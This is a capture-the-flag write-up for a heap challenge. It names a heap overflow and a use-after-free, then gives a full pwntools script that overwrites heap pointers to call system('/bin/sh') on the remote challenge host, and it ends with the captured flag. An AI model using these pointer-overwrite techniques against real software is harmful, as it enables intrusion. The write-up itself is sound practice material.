Manipulating pointers like there’s no tomorrow.

Problem Statement#

“Twist the heap just right and you might get the flag.”

nc challenges2.perfectroot.wiki 8001

Bugs#

  1. Heap buffer overflow when edit (allows overwriting stored ptr)
  2. UAF + tcache poisoning

Solve#

  1. Allocate three items
  2. Edit 2nd item, overflow into 3rd item, overwite heap ptr (not the function ptr) to addr of messages
  3. Show to get heap leak
  4. Now overwrite stored function ptr
PY
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context.terminal = "tmux neww -a".split()

exe = context.binary = ELF(args.EXE or "./heap2")
libc = exe.libc
assert libc is not None


def start(argv=[], *a, **kw):
    addr, port = args.REMOTE.split(":")
    return remote(addr, int(port))


gdbscript = """
continue
""".format(**locals())

io = start()
sla = io.sendlineafter
sa = io.sendafter
sl = io.sendline
ru = io.recvuntil
rl = io.recvline


def add(msg: bytes):
    sla(b"oice: ", b"1")
    sla(b"Enter message name: ", msg)
    ru(b"Message added at index ")
    return int(rl(keepends=False).strip().decode())


def dele(idx: int):
    sla(b"oice: ", b"2")
    sla(b"Index to delete: ", str(idx).encode())
    ru(b"Message name freed")


def edit(idx: int, msg: bytes):
    sla(b"oice: ", b"3")
    sla(b"Index to edit: ", str(idx).encode())
    sla(b"Enter new name: ", msg)
    # ru(b"=== Message Manager === ")


def show(idx: int):
    sla(b"oice: ", b"4")
    sla(b"Index to show: ", str(idx).encode())
    ru(b"Notification: ")
    return rl(keepends=False)


niceidx = add(b"nice")
viceidx = add(b"vice")
diceidx = add(b"dice")

# overwrite vice's msg->buffer to overflow into dice's message_t

# 0x405310     0000000065636976 0000000000000000
# 0x405320     0000000000000000 0000000000000000
# 0x405330     0000000000000000 0000000000000021
# 0x405340     0000000000405360 0000000000000020

frame = {
    0x00: b"vice\x00",
    0x08: 0,
    0x10: 0,
    0x18: 0,
    0x20: 0,
    0x28: 0x21,
    0x30: exe.sym["message_count"],
    0x38: p8(0x20),
    # 0x39: b"\n", # not needed, we use sla in edit.
}
frame = flat(frame)
edit(viceidx, frame)


def reset_count():
    frame = {
        0: p32(0),
        # -1: b"\n", # not needed, we use sla
    }
    frame = flat(frame)
    edit(diceidx, frame)


frame = {
    0x00: b"nice\x00",
    0x08: 0,
    0x10: 0,
    0x18: 0,
    0x20: 0,
    0x28: 0x21,
    0x30: exe.sym["messages"],
    0x38: p8(0x20),
    # 0x39: b"\n", # not needed, we use sla in edit.
}
frame = flat(frame)
edit(niceidx, frame)

nice_message = u64((show(viceidx)).ljust(8, b"\x00"))
ptr_at = nice_message + 0x10

frame = {
    0x00: b"nice\x00",
    0x08: 0,
    0x10: 0,
    0x18: 0,
    0x20: 0,
    0x28: 0x21,
    0x30: ptr_at,
    0x38: p8(0x20),
    # 0x39: b"\n", # not needed, we use sla in edit.
}
frame = flat(frame)
edit(niceidx, frame)

# __import__("ipdb").set_trace()
edit(viceidx, p64(exe.plt["system"]))
edit(niceidx, b"/bin/sh\x00")
# show(niceidx)
sla(b"oice: ", b"4")
sla(b"Index to show: ", str(niceidx).encode())
sl(b"cat flag.txt")
io.interactive()

Flag#

TEXT
r00t{0v3rwr1t1n9_p01nt3r5_15_fun_032b489}